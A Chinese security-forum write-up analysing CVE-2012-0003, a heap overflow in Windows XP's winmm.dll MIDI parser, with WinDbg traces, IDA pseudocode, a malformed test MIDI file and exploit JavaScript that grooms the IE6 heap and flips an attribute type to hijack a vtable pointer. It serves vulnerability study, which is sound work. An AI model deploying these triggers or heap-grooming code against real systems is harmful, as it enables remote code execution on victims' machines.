-
-
[原创]CVE-2012-0003 winmm.dll MIDI文件堆溢出漏洞分析及利用
-
2021-9-13 18:30 17521
-
1. 前言
这次分析了CVE-2012-0003 MIDI文件中存在的堆溢出漏洞,此次分析结合了《漏洞战争》以及VUPEN发布的关于该漏洞的介绍中的内容,从原理及利用两个角度对该漏洞进行了分析。
文章一开始对MIDI文件的结构进行了简单的介绍,之后根据IDA得到的伪代码,利用书中介绍的导图推算的方法确定了漏洞产生的原因。最后的漏洞利用部分花费了一些功夫,因为VUPEN中缺少具体细节,使用的利用代码并没有成功进行漏洞利用,书中也没有提到相关问题,所以文章中也涉及到我是如何对代码进行的修改,并分析了产生问题的原因。
2. MIDI文件结构
2.1 基本文件组成
MIDI文件是由块(chunk)组成的,每个块开头有4字节type信息及4字节length信息,length信息中表示的是该块之后的数据长度,即整个块的长度为length+8字节。
块分为两个类型:header chunk和track chunk,其基本组成如下图所示:
其中Delta-time+event表示一个MTrk event,它的个数不定,长度不定,所以画成了图中这样参差不齐的形式。
2.2 其他结构
下面一个小节会根据具体文件来分析MIDI文件组成,这里先给出会涉及到的其他概念:
2.2.1 Variable Length Quantity
这种类型的数据信息用每个字节中的低七个比特表示,最高位为先。所有字节中,除最后一个字节外,其余字节的最高比特位置1,最后一个字节的最高比特位置0。由此确定该可变长度数据的终止位置。
2.2.2 meta event
在track trunk中,event又分为MIDI event、sysex event和meta-event。其中meta-event的结构如下:
它以0xFF
开头,接下来是一个字节的type信息,之后的length信息是variable length quantity,然后根据length信息填入对应长度的bytes信息。
几个涉及到的type信息:
0xFF 03
: 在format 0及format 1的第一个track中,表示sequence的名称,其他情况下表示track的名称。0xFF 2F
: 标志track的结尾
2.2.3 MIDI event
MIDI event(MIDI message)通常由1字节的状态码以及1~2个字节的数据信息组成:
在下面的实例分析中,主要涉及到的是Channel Message,涉及到的状态码为0x99
、0x9F
、0xB9
和0xC9
,其中的9
和F
表示是第九个channel。这里对这两个状态码做一下解释:
0x99
、0x9F
: 表示音符开始(note on)。后面跟两个字节,最高比特位都是0,分别表示音符编号及速度。0xB9
: 表示控制器(controller)的数值发生了变化。后面跟两个字节,最高比特位都是0,分别表示控制器编号及新的数值;0xC9
: 表示配音号(patch number)发生了变化。后面跟一个字节,最高比特位为0,表示新的数值。
2.3 实例分析
接下来根据书中提供的test_case.mid文件,实例讲解MIDI文件构成。test_case.mid内容如下:
1 2 3 4 5 | 4D 54 68 64 00 00 00 06 00 00 00 01 00 60 4D 54 72 6B 00 00 00 35 00 FF 03 0D 44 72 75 6D 73 20 20 20 28 42 42 29 00 00 C9 28 00 B9 07 64 00 B9 0A 40 00 B9 7B 00 00 B9 5B 28 00 B9 5D 00 85 50 99 23 7F 00 9F B2 73 00 FF 2F 00 |
按照2.1中给出的结构分解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | 4D 54 68 64 / / MThd 四字节的 type 信息,表示这是一个header trunk 00 00 00 06 / / 四字节length信息,表示该header trunk后面的长度是 6 字节 00 00 / / Format = 0 , 表示文件只包含一个multi - channel track 00 01 / / num of tracks = 1 ,和 format = 0 相对应 00 60 / / 对delta - times的解释,第 15 位为 0 ,所以后面 0x60 表示ticks per quarter - note,是个音乐概念,不太懂 4D 54 72 6B / / MTrk 四字节的 type 信息,表示这是一个track trunk 00 00 00 35 / / 四字节length信息,表示该track trunk后面的长度是 53 字节 00 / / delta - time, 这块数据采用的是variable length quantity FF 03 0D 44 72 75 6D 73 20 20 20 28 42 42 29 00 / / meta - event,sequence的名字:Drums (BB) 00 C9 28 / / 新的program数值为 40 00 B9 07 64 / / 音量变化 00 B9 0A 40 / / Pan?? 不知道是什么 00 B9 7B 00 / / 所有音符结束 00 B9 5B 28 / / 效果 1 深度 00 B9 5D 00 / / 效果 3 深度 85 50 99 23 7F / / 0x23 号音符开始 00 9F B2 73 / / 0xB2 号音符开始,注意这里B2的最高比特位是 1 ,是不合法的 00 FF 2F 00 / / track结束 |
对于MIDI文件格式的理解就到这里,并没有覆盖的所有的信息,更多内容可以看参考资料1。除此之外,很多专业名词的解释我也不太清楚,但是对于漏洞分析本身没什么影响。
3. 漏洞调试
环境:Win XP SP3
IE:6.0.2900
3.1 一开始的尝试
接下来正式开始对漏洞进行分析调试,由于这是一个堆溢出漏洞,所以在调试之前先为IE开启页堆。
1 2 3 | C:\Documents and Settings\test> "C:\Program Files\Debugging Tools for Windows\gflags.exe" - i IExplore.exe + hpa Current Registry Settings for IExplore.exe executable are: 02000000 hpa - Enable page heap |
打开cve-2012-0003-ie6.htm文件,使用windbg附加,F5继续执行,然后在IE上允许脚本运行,程序中断:
1 2 3 4 5 6 7 8 | ( 920.36c ): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax = 00000419 ebx = 00000073 ecx = 0073b29f edx = 00000000 esi = 2797f019 edi = 2797cf60 eip = 76b5d224 esp = 2829fe80 ebp = 2829fea0 iopl = 0 nv up ei pl zr na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010246 WINMM!midiOutPlayNextPolyEvent + 0x1ec : 76b5d224 8a06 mov al,byte ptr [esi] ds: 0023 : 2797f019 = ?? |
看一下堆栈信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | 0 : 010 > !heap - p - a 2797f019 address 2797f019 found in _DPH_HEAP_ROOT @ 151000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 276eaaf8 : 2797ec00 400 - 2797e000 2000 7c918f01 ntdll!RtlAllocateHeap + 0x00000e64 76b5b2b3 WINMM!winmmAlloc + 0x00000016 76b5cdee WINMM!mseOpen + 0x00000044 76b5d97e WINMM!mseMessage + 0x00000029 76b5a17f WINMM!midiStreamOpen + 0x00000207 77bd1f7c midimap!modOpen + 0x000000f8 77bd29f3 midimap!modMessage + 0x0000005e 76b5a15e WINMM!midiStreamOpen + 0x000001e6 748d56e9 quartz!CMidiOutDevice::DoOpen + 0x00000026 748d5793 quartz!CMidiOutDevice::amsndOutOpen + 0x00000059 7484bc64 quartz!CWaveOutFilter::amsndOutOpen + 0x0000002e 7484bbef quartz!CWaveOutFilter::DoOpenWaveDevice + 0x0000007a 7484bdfc quartz!CWaveOutFilter::OpenWaveDevice + 0x00000019 7484bcc4 quartz!CWaveOutFilter::Pause + 0x00000049 7482cf69 quartz!CFilterGraph::Pause + 0x00000107 7482ce93 quartz!CFGControl::Cue + 0x00000032 |
可以看到这个堆块的起始地址为0x2797ec00
,大小为0x400
,0x2797f019
已经超过了这个堆块允许的最大地址范围0x2797f000
,所以触发了异常。
再看一下函数调用情况:
1 2 3 4 5 6 7 8 | 0 : 010 > kb ChildEBP RetAddr Args to Child 2829fea0 76b5d2e5 b2ceead0 76b5d296 00000010 WINMM!midiOutPlayNextPolyEvent + 0x1ec 2829feb4 76b454e3 00000010 00000000 00000e7c WINMM!midiOutTimerTick + 0x4f 2829fedc 76b5adfe 76b5d296 00000003 00000010 WINMM!DriverCallback + 0x5c 2829ff18 76b5af02 00000010 015f0000 00000000 WINMM!TimerCompletion + 0xf4 2829ffb4 7c80b713 00000000 015f0000 015f0000 WINMM!timeThread + 0x53 2829ffec 00000000 76b5aeaf 00000000 00000000 kernel32!BaseThreadStart + 0x37 |
所以目前想要确定的应该是0x2797f019
这个地址是怎么得到的。找到WINMM.dll这个文件并在IDA中打开,找到midiOutPlayNextPolyEvent
这个函数。
1 2 3 4 5 6 | 0 : 010 > lm vm WINMM start end module name 76b40000 76b6d000 WINMM (pdb symbols) E:\symbols\dll\winmm.pdb Loaded symbol image file : C:\WINDOWS\system32\WINMM.dll Image path: C:\WINDOWS\system32\WINMM.dll ... |
异常发生位置处的代码为:
1 2 | v20 = (char * )(v19 + v16); v21 = * v20; / / 异常发生位置 |
其中的v19和v16的来源:
1 2 | v16 = * (_DWORD * )(wParam + 0x84 ); v19 = (wParam_3a + ((v17 & 0xF ) << 7 )) / 2 ; |
其中wParam
就是该函数的参数,但是根据函数调用情况中得到的参数b2ceeb54
查看内存内容,发现全是问号,可能是在执行过程中有修改:
1 2 | 0 : 010 > dd b2ceeb54 L1 b2ceeb54 ???????? |
除此之外,如果观察midiOutPlayNextPolyEvent
函数的代码,会发现它一直在基于wParam
的某个偏移取值,所以现在关键是确定wParam
是什么。
重新调试(我之前建立了快照),这次在midiOutPlayNextPolyEvent
函数这里设置一个断点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | 0 : 007 > bu 76B5D038 0 : 007 > g Breakpoint 0 hit eax = 00000000 ebx = ffffffff ecx = 7ffdf000 edx = 27db4f70 esi = 27db4f60 edi = 27db4fb8 eip = 76b5d038 esp = 0013e5b0 ebp = 0013e5dc iopl = 0 nv up ei pl zr na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000246 WINMM!midiOutPlayNextPolyEvent: 76b5d038 8bff mov edi,edi 0 : 000 > g Breakpoint 0 hit eax = 00000000 ebx = ffffffff ecx = 7ffd4000 edx = 27db4f70 esi = 27db4f60 edi = 27db4fb8 eip = 76b5d038 esp = 2829fea4 ebp = 2829fedc iopl = 0 nv up ei pl zr na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000246 WINMM!midiOutPlayNextPolyEvent: 76b5d038 8bff mov edi,edi |
实验的时候发现第一次中断并不是发生异常的那次调用,第二次才是。看一下esp的内容:
1 2 | 0 : 010 > dd esp l4 2829fea4 76b5d2e5 27db4f60 76b5d296 00000010 |
此时还没有进行栈帧的分配,所以wParam
的值为27db4f60
,看一下这里的内容:
1 2 3 4 5 6 7 8 9 | 0 : 010 > db 27db4f60 27db4f60 00 00 00 00 b8 cf da 27 - 80 00 00 00 00 00 00 00 .......'........ 27db4f70 e0 6f 5b 04 00 00 00 00 - 01 00 00 00 b8 06 00 00 .o[............. 27db4f80 00 00 00 00 00 00 00 00 - 34 12 34 12 60 00 00 00 ........ 4.4 .`... 27db4f90 20 a1 07 00 00 00 00 00 - 00 00 00 00 c0 af de 27 ..............' 27db4fa0 c0 af de 27 a4 9e b5 76 - 00 00 03 00 00 00 00 00 ...'...v........ 27db4fb0 00 00 00 00 b9 00 00 00 - 00 00 00 00 00 00 00 00 ................ 27db4fc0 a4 11 a6 02 00 77 01 00 - 20 a1 07 00 02 00 00 00 .....w.. ....... 27db4fd0 9d cd b5 76 d0 02 00 00 - 00 00 00 00 00 00 00 00 ...v............ |
老实讲看不出什么来.所以还是要继续往下单步调试,查看一下数据来源。
但是调试之前,要先对IDA中的代码进行一些简单的分析。
3.2 关于”导图推算“
在《漏洞战争》中提到了”导图推算“的分析方法,由于在midiOutPlayNextPolyEvent
函数中可以很清晰的看到它在一直在基于wParam
的某个偏移取值,并进行一些比较判断和数值运算,而最终我们关注的异常发生位置的变量取值也是在此基础上不断进行数值传递得到的。因此可以根据IDA中得到的代码,整理出该取值的数值传递流程,然后在调试器中设置多个断点,将各相关变量的取值变化打印出来。
如果不参考书中的方法,我应该也能想到去查看伪代码,但是可能不会像书中一样完整的整理出来,而是会选择在逐步调试的过程中进行确定。
对IDA生成的伪代码进行精简,专注于最终异常发生位置代码v21 = *v20;
中变量的传递流程,得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | void __stdcall midiOutPlayNextPolyEvent(WPARAM wParam) { if ( ! * (wParam + 0x34 ) ) { while ( 1 ) { while ( 1 ) { v2 = * (wParam + 0x3C ); if ( !v2 ) return ; if ( midiOutScheduleNextEvent(wParam) ) break ; midiOutDequeueAndCallback(wParam); } ... v2[ 9 ] + = 4 ; v7 = v2[ 9 ]; ... v7 + = 4 ; ... v8 = * (v7 + wParama); ... v10 = v8 & 0xFFFFFF ; ... v16 = * (wParam + 0x84 ); ... } v17 = v10; if ( (v10 & 0x80u ) ! = 0 ) { wParam_3a = BYTE1(v10); ... } else { v17 = * (wParam + 0x54 ); wParam_3a = v10; ... } v33 = v17 & 0xF0 ; if ( (v17 & 0xF0 ) = = 0x90 || (v17 & 0xF0 ) = = 0x80 ) { v19 = (wParam_3a + ((v17 & 0xF ) << 7 )) / 2 ; if ... v20 = (v19 + v16); v21 = * v20; / / 异常发生位置 v22 = * v20; if ... } ... } } |
画出对应的流程图:
再整理出这几个关键变量的赋值位置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | .text: 76B5D041 8B 7D 08 mov edi, [ebp + wParam] / / wParam .text: 76B5D050 8B 77 3C mov esi, [edi + 3Ch ] / / v2 .text: 76B5D09D 83 C3 04 add ebx, 4 / / v7 .text: 76B5D0B5 8B 0C 03 mov ecx, [ebx + eax] / / v8 .text: 76B5D0C3 81 E1 FF FF FF 00 and ecx, 0FFFFFFh / / v10 .text: 76B5D1C7 8A C1 mov al, cl / / v17 = v10 .text: 76B5D1CD 8A 47 54 mov al, [edi + 54h ] / / v17 .text: 76B5D1EB 88 55 0B mov byte ptr [ebp + wParam + 3 ], dl / / wParam_3a .text: 76B5D1D0 88 4D 0B mov byte ptr [ebp + wParam + 3 ], cl / / wParam_3a .text: 76B5D212 D1 F8 sar eax, 1 / / v19 .text: 76B5D1B9 8B B7 84 00 00 00 mov esi, [edi + 84h ] / / v16 .text: 76B5D21E 03 F0 add esi, eax / / v20 |
但是有一个问题需要注意,部分指令不能直接在上述位置设置断点,而是应该在下一句指令处设置断点,获得赋值后的数值。
继续做整理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | 断点 输出 变量 76B5D044 edi wParam 76B5D053 esi v2 76B5D0A0 ebx v7 76B5D0B8 ecx v8 76B5D0C9 ecx v10 76B5D1C9 al v17 76B5D1D0 al v17 76B5D1EB dl wParam_3a 76B5D1D0 cl wParam_3a 76B5D214 eax v19 76B5D1BF esi v16 76B5D220 esi v20 |
还是让程序中断在midiOutPlayNextPolyEvent
函数的起始位置,设置好断点之后继续执行,每次都会中断在函数开头:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | ( 920.ffc ): Break instruction exception - code 80000003 (first chance) eax = 7ffdd000 ebx = 00000001 ecx = 00000002 edx = 00000003 esi = 00000004 edi = 00000005 eip = 7c90120e esp = 044affcc ebp = 044afff4 iopl = 0 nv up ei pl zr na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 0038 gs = 0000 efl = 00000246 ntdll!DbgBreakPoint: 7c90120e cc int 3 0 : 007 > bu 76B5D038 0 : 007 > g Breakpoint 0 hit eax = 00000000 ebx = ffffffff ecx = 7ffdf000 edx = 27db4f70 esi = 27db4f60 edi = 27db4fb8 eip = 76b5d038 esp = 0013e5b0 ebp = 0013e5dc iopl = 0 nv up ei pl zr na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000246 WINMM!midiOutPlayNextPolyEvent: 76b5d038 8bff mov edi,edi 0 : 000 > bp 76B5D044 ".echo 'wParam';r edi;g;" 0 : 000 > bp 76B5D053 ".echo 'v2';r esi;g;" 0 : 000 > bp 76B5D0A0 ".echo 'v7';r ebx;g;" 0 : 000 > bp 76B5D0B8 ".echo 'v8';r ecx;g;" 0 : 000 > bp 76B5D0C9 ".echo 'v10';r ecx;g;" 0 : 000 > bp 76B5D1C9 ".echo 'v17';r al;g;" 0 : 000 > bp 76B5D1D0 ".echo 'v17';r al;.echo 'wParam_3a';r cl;g;" 0 : 000 > bp 76B5D1EB ".echo 'wParam_3a';r dl;g;" 0 : 000 > bp 76B5D214 ".echo 'v19';r eax;g;" 0 : 000 > bp 76B5D1BF ".echo 'v16';r esi;g;" 0 : 000 > bp 76B5D220 ".echo 'v20';r esi;g;" 0 : 000 > g |
原始输出比较乱,整理成表格之后得到:
3.3 数值与异常分析
首先吸引我注意力的就是V17
,很明显这里保存的是状态码,而WParam_3a
中保存的是状态码的下一个字节数据。所以说这个函数在循环处理文件中的不同event的信息,在处理到最后一个event,即00 9F B2 73 // 0xB2号音符开始
的时候,出现了异常。
除此之外,可以发现:
V16
的值在两次函数调用的过程中都没有发生变化;V2
的值在每次函数调用的过程中不会发生变化;V7
以每次0xC
在递增;V8
和V10
的数值相同,且低两位分别对应于V17
和WParam_3a
的值;在第一次函数调用时,函数并不会执行到处理
v19
和v20
的代码处。从IDA的伪代码也可以看出来,在处理这两个变量之前,程序会进行一次判断:
12345if
( (v17 &
0xF0
)
=
=
0x90
|| (v17 &
0xF0
)
=
=
0x80
)
if
( v33
=
=
(char)
0x80
|| !(_BYTE)v18 ) {
/
/
这里执行一些操作,然后直接跳出了上层循环
}
/
/
异常发生在这里
也就是说,异常发生在函数处理
8x
或者9x
的状态码的时候。
再次回顾,发生异常的数值V20
的计算公式是:
1 | v20 = (char * )(v19 + v16); |
根据上面的分析,V16
是一个基地址,而偏移地址V19
的计算公式是:
1 | v19 = (wParam_3a + ((v17 & 0xF ) << 7 )) / 2 ; |
其中wParam_3a
是音符编号,最高比特位是0
,V17
是状态码,一定以9
开头。
要想实现堆溢出,一定要让V19
的值尽可能的大。按照MIDI的格式规范,wParam_3a
包含7比特有效数据,最大值为0x7F
,但是这里为了实现溢出,选择了0xB2
。而为了通过判断条件,V17
可变数据只占用四个比特,最大值为0x9F
。这里就选择了这个最大值。
再具体看一下0xB2
这个值的选取,基地址V16
的值是27db6c00
,该地址信息:
1 2 3 4 5 6 7 8 9 10 11 | 0 : 010 > !heap - p - a 27db6c00 address 27db6c00 found in _DPH_HEAP_ROOT @ 151000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 277ca4b8 : 27db6c00 400 - 27db6000 2000 7c918f01 ntdll!RtlAllocateHeap + 0x00000e64 76b5b2b3 WINMM!winmmAlloc + 0x00000016 76b5cdee WINMM!mseOpen + 0x00000044 76b5d97e WINMM!mseMessage + 0x00000029 76b5a17f WINMM!midiStreamOpen + 0x00000207 ... |
所以这是一个大小为0x400
的堆块,所以偏移只有超过0x400
才会发生堆溢出。
当V17
取最大值0x9F
的时候,((v17 & 0xF) << 7)
计算结果为0x780
,因此wParam_3a
的值至少要到0x80
才会发生堆溢出。也就是说对于合法的MIDI文件来说(即最高比特位为0),此处代码不会发生堆溢出。
可以实验一下,把测试用的文件中0xB2
修改成0x80
,重新打开cve-2012-0003-ie6.htm,同样发生了异常:
1 2 3 4 5 6 7 8 9 10 11 12 13 | (b30. 8d8 ): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax = 00000400 ebx = 00000073 ecx = 0073809f edx = 00000000 esi = 27c61000 edi = 04ad4f60 eip = 76b5d224 esp = 27f5fe80 ebp = 27f5fea0 iopl = 0 nv up ei pl zr na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010246 WINMM!midiOutPlayNextPolyEvent + 0x1ec : 76b5d224 8a06 mov al,byte ptr [esi] ds: 0023 : 27c61000 = ?? 0 : 010 > !heap - p - a 27c61000 address 27c61000 found in _DPH_HEAP_ROOT @ 151000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 272ddec8 : 27c60c00 400 - 27c60000 2000 |
之后把这个值修改成0x7F
,没有发生异常。
还有一个小问题,我们在调试器里查看这个堆块的大小是0x400
,但是这个大小是怎么得到的呢?是硬编码的大小吗?
从上面的输出信息中可以看出这个堆块是在WINMM!mseOpen
函数中调用winmmAlloc
函数生成的,我们在IDA中找到这个函数,可以看到:
1 2 | .text: 76B5CDE4 68 00 04 00 00 push 400h ; dwBytes .text: 76B5CDE9 E8 AF E4 FF FF call _winmmAlloc@ 4 ; winmmAlloc(x) |
堆块大小确实是硬编码到程序中的,所以一旦偏移超过,就会发生堆溢出。
4. 漏洞利用
4.1 漏洞能做些什么
在分析怎样利用该漏洞时,先确定一下这个漏洞能够做些什么,重新看一下IDA中,异常发生位置之后的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 | v21 = * v20; / / 异常发生位置 v22 = * v20; if ( (wParam_3a & 1 ) ! = 0 ) { if ( (v22 & 0xF0 ) ! = 0xF0 ) { v23 = v21 + 0x10 ; LABEL_39: * v20 = v23; goto LABEL_46; } } else if ( (v22 & 0xF ) ! = 0xF ) { v23 = v21 + 1 ; goto LABEL_39; } |
注意到代码*v20 = v23;
,这句代码会对溢出位置执行写入操作,所以一定要执行到这里,也就是说:
1 2 3 4 5 6 | if ( (wParam_3a & 1 ) ! = 0 ) / / 判断失败 else if ( (v22 & 0xF ) ! = 0xF ) / / 判断成功,执行 v23 = v21 + 1 ; goto LABEL_39; / / 跳转进行写操作: * v20 = v23; |
其中的v21
和v22
都是读取溢出位置得到的数值。
综上,wParam_3a
要是偶数,且溢出位置数值低四位不能全是1,如果满足以上条件,漏洞可以对溢出位置实现增1操作。
wParam_3a
不是偶数的条件很好做到,需要注意的就是溢出位置数值低四位的问题。
4.2 先验知识
可以使用IE加载存在漏洞的MIDI文件,而IE的mshtml.dll和MIDI的winmm.dll中,用于分配堆块的堆空间都来自于GetProcessHeap
函数。两者使用同一个堆空间,因此有机会在IE中实现该漏洞的利用。
进一步的解释,在mshtml.dll的_DllMainStartup
函数(入口点函数)中:
1 2 3 | .text: 7DD18E62 FF 15 14 13 C3 7D call ds:__imp__GetProcessHeap@ 0 ; GetProcessHeap() .text: 7DD18E68 FF 75 10 push [ebp + lpReserved] .text: 7DD18E6B A3 84 5B ED 7D mov _g_hProcessHeap, eax |
该函数的定义:
Retrieves a handle to the default heap of the calling process
而winmm.dll中的__DllInstanceInit
函数中调用了_DllProcessAttach
:
1 2 3 4 | .text: 76B43F8F 64 A1 18 00 00 00 mov eax, large fs: 18h / / TEB .text: 76B43F95 8B 40 30 mov eax, [eax + 30h ] / / 对应的PEB .text: 76B43F98 8B 40 18 mov eax, [eax + 18h ] / / ProcessHeap .text: 76B43F9B A3 C8 00 B6 76 mov _hHeap, eax |
转成伪代码:
1 | hHeap = NtCurrentTeb() - >ProcessEnvironmentBlock - >ProcessHeap; |
因此当IE加载MIDI文件的时候,两者使用的是同一个堆空间,即进程的默认堆。
4.3 漏洞利用原理与代码修复
现在已知的是产生漏洞的堆空间大小为0x400,但由于漏洞的存在,导致程序可以对超出该堆空间的内存位置进行增1的操作。如果想要进行漏洞利用,首先应该能够做到分配一个同样大小的堆空间。根据参考资料2,在进行元素的复制的时候,有可能会分配到合适的空间大小。而cve-2012-0003-ie6.html这个文件中的漏洞代码中可以看到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | var selob = document.createElement( "select" ) selob.w0 = alert selob.w1 = unescape( "%u1be4%u0c0c" ) selob.w2 = alert ... selob.w62 = alert selob.w63 = alert var clones = new Array( 1000 ); function feng_shui() { var i = 0 ; while (i < 1000 ) { clones[i] = selob.cloneNode(true) i = i + 1 ; } var j = 0 ; while (j < 1000 ) { delete clones[j]; CollectGarbage(); j = j + 2 ; } } feng_shui(); function trigger(){ var k = 999 ; while (k > 0 ) { if (typeof(clones[k].w1) = = "string" ) { } else { clones[k].w1( 'come on!' ); } k = k - 2 ; } feng_shui(); document.audio.Play(); } |
代码创建了一个包含64个属性的select
元素selob
,然后创建了一个1000大小的数组clones
,并将selob
循环赋值到数组clones
中,再对偶数位置上的空间进行了释放。这样的一系列操作可以形成空闲块、占用块相互间隔的堆空间结构。但是具体的细节还不清晰。
如果在Windbg中搜索和数组复制相关的函数,可以得到:
1 2 | 0 : 000 > x mshtml! * Array * Clone 7ddae7a5 mshtml!CAttrArray::Clone = <no type information> |
如果在该函数上设置断点,程序也会多次中断在这里,说明代码在赋值selob
元素的时候,确实调用了这个函数。在IDA中看一下这个函数的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | int __thiscall CAttrArray::Clone(CAttrArray * this, struct CAttrArray * * a2) { / / [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL - "+" TO EXPAND] v19 = 0 ; v3 = (CAttrArray * )_MemAlloc( 0xCu ); if ( v3 ) v4 = CAttrArray::CAttrArray(v3); else v4 = 0 ; * a2 = v4; if ... v17 = CImplAry::EnsureSize(v4, 0x10u , * (_DWORD * )this >> 2 ); if ... v8 = (struct CAttrArray * * ) * ((_DWORD * ) * a2 + 1 ); v18 = 0 ; v16 = 0 ; v9 = * ((_DWORD * )this + 1 ); v20 = v8; if ( * (_DWORD * )this >> 2 ) { while ( 1 ) { if ( * (_BYTE * )v9 ! = 3 || v19 ) { v15 = * (_DWORD * )(v9 + 4 ); if ( v15 ! = 0x800103ED ) { * ((_BYTE * )v8 + 1 ) = 0 ; v17 = CAttrValue::Copy((CAttrValue * )v8, (const struct CAttrValue * )v9); ... |
可以看到一个_MemAlloc
的函数调用,但是这里只分配了0xC
的空间,在往下看,有一个CImplAry::EnsureSize
的调用,这个函数也很有意思,里面会进行一个空间分配:
1 2 | a3 = UIntMult(v6, v5, &dwBytes); / / 这里在对传入的两个参数相乘,结果保存在dwBytes中 v13 = _MemAlloc(dwBytes); / / 然后分配了dwBytes大小的空间 |
在Windbg中看一下调用到这个函数时的情况:
1 2 3 4 5 6 7 8 | 0 : 000 > p eax = 034add90 ebx = 034adcac ecx = 034add90 edx = 00000042 esi = 034abc10 edi = 00000000 eip = 7ddae7ff esp = 0013de68 ebp = 0013de90 iopl = 0 nv up ei pl nz na pe nc cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000206 mshtml!CAttrArray::Clone + 0x5a : 7ddae7ff e8acb8eeff call mshtml!CImplAry::EnsureSize ( 7dc9a0b0 ) 0 : 000 > dd esp l3 0013de68 00000010 00000042 00000000 |
也就是说这个函数会分配0x42*0x10
大小的空间。我看到这个数值的时候就觉得可能会和代码中属性的个数有关,参考资料2中也说EnsureSize
会根据属性的个数来分配空间,但是资料中说如果属性有64个的话,那应该分配的就是0x40*0x10
的空间,但是我这里看到的却是0x42
。目前还不清楚是资料中有一些细节没有提到,还是环境导致的,先继续往下看。
如果按照资料中所说,最后分配了0x400
的空间,那么在进行了偶数位置空间的释放之后,每个空闲的0x400
大小的堆块后面都会有一个0x400
大小的由我们控制的堆块空间,这样一来,漏洞代码申请的0x400
大小的空间后面就是我们控制的数据了,接下来需要做的是让增1操作发生的时候,能够引发虚函数指针的泄露,从而控制程序的执行流程。
先来观察一下这个我们控制的0x400
大小的堆块数据中是什么内容,因为EnsureSize
调用之后,会使用CAttrValue::Copy
函数对数据进行复制,在Copy这个函数中,数据的复制操作是这样实现的:
1 2 3 4 5 6 7 8 9 | mov esi, ecx call ?Free@CAttrValue@@QAEXXZ ; CAttrValue::Free(void) mov ecx, [ebp + arg_0] ; this mov eax, [ecx + 8 ] mov [esi + 8 ], eax mov eax, [ecx + 4 ] mov [esi + 4 ], eax mov eax, [ecx] mov [esi], eax |
可以看到数据从第一个参数的位置复制到了ecx
所指向的位置,所以可以直接检查调用Copy
之前,第一个参数所指向的位置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | 0 : 000 > g Breakpoint 1 hit eax = 002dc6c1 ebx = 034adcac ecx = 040b0b80 edx = 7c90e4f4 esi = 034abc10 edi = 03942ba0 eip = 7ddae84c esp = 0013de6c ebp = 0013de90 iopl = 0 ov up ei ng nz ac pe cy cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00000a97 mshtml!CAttrArray::Clone + 0xa8 : 7ddae84c e829f9ffff call mshtml!CAttrValue::Copy ( 7ddae17a ) 0 : 000 > dd esp l1 0013de6c 03942ba0 0 : 000 > db 3942ba0 03942ba0 02 09 00 00 c1 c6 2d 00 - 00 00 00 00 20 bb 4a 03 ...... - ..... .J. 03942bb0 02 08 00 00 c2 c6 2d 00 - 00 00 00 00 e4 8f 44 03 ...... - .......D. 03942bc0 02 09 00 00 c3 c6 2d 00 - 00 00 00 00 60 bc 4a 03 ...... - .....`.J. 03942bd0 02 09 00 00 c4 c6 2d 00 - 00 00 00 00 d0 bc 4a 03 ...... - .......J. 03942be0 02 09 00 00 c5 c6 2d 00 - 00 00 00 00 50 bd 4a 03 ...... - .....P.J. 03942bf0 02 09 00 00 c6 c6 2d 00 - 00 00 00 00 e0 bd 4a 03 ...... - .......J. 03942c00 02 09 00 00 c7 c6 2d 00 - 00 00 00 00 80 be 4a 03 ...... - .......J. 03942c10 02 09 00 00 c8 c6 2d 00 - 00 00 00 00 30 bf 4a 03 ...... - ..... 0.J . |
根据参考资料2,3942ba0
处的数据,第二列表示的就是属性的不同类型,其中0x09
表示表示object
,0x08
表示string
,这也和selob
中对于属性的设置相符:
1 2 3 4 5 | selob.w0 = alert selob.w1 = unescape( "%u1be4%u0c0c" ) selob.w2 = alert selob.w3 = alert ... |
注意到object类型和string类型代表的数值之间相差了1,如果利用漏洞造成的增1操作,就有可能把原本的string类型修改为object类型,从而导致原本的字符串内容当作虚表指针被引用,这也是这次漏洞利用的原理。
再检查一下目标地址的情况:
